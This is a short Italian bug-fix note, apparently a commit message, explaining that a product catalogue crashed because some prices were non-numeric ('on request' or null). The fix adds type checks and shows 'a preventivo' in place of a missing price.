Catalogo dello step 6 appariva vuoto dopo deploy v2.20.20. Root cause: alcuni prodotti del catalogo post-import-PDF hanno price non numerico ("prev." per prodotti a preventivo come AI-ESC, SOC-ADVC, OPTPRO, oppure null). page-06-diagnosi-proposta.js::getAnnualPrice ritornava {annual: null} e renderProductRow faceva null.toLocaleString() → TypeError JS che crashava l'intera iterazione del catalogo. Fix: getAnnualPrice e getEditedAnnualPrice ora controllano typeof price !== 'number' e ritornano {annual: 0, noPrice: true, note: 'prezzo a preventivo'}. renderProductRow renderizza "a preventivo" in corsivo invece del prezzo numerico. Niente piu' crash, catalogo 379 sigle visibile.